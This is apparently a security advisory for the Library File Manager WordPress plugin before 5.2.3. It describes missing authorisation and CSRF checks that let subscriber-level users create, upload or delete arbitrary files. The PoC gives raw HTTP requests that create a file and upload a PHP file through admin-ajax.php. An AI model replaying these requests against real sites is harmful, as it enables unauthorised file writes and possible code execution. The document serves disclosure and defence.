Library File Manager < 5.2.3 - Subscriber+ Arbitrary File Creation/Upload/Deletion

The plugin is using an outdated version of the elFinder library, which is know to be affected by security issues (CVE-2021-32682), and does not have any authorisation as well as CSRF checks in its connector AJAX action, allowing any authenticated users, such as subscriber to call it. Furthermore, as the options passed to the elFinder library does not restrict any file type, users with a role as low as subscriber can Create/Upload/Delete Arbitrary files and folders.

PoC

Create an empty file to /aa.txt: POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 53 Connection: close Cookie: [any authenticated user] action=connector&cmd;=mkfile&name;=aa.txt&target;=l1_Lw Upload a PHP file to /hello.php: POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14077557643203747161684872583 Content-Length: 597 Connection: close Cookie: [any authenticated user] -----------------------------14077557643203747161684872583 Content-Disposition: form-data; name=“cmd” upload -----------------------------14077557643203747161684872583 Content-Disposition: form-data; name=“target” l1_Lw -----------------------------14077557643203747161684872583 Content-Disposition: form-data; name=“action” connector -----------------------------14077557643203747161684872583 Content-Disposition: form-data; name=“upload[]”; filename=“hello.php” Content-Type: text/plain -----------------------------14077557643203747161684872583–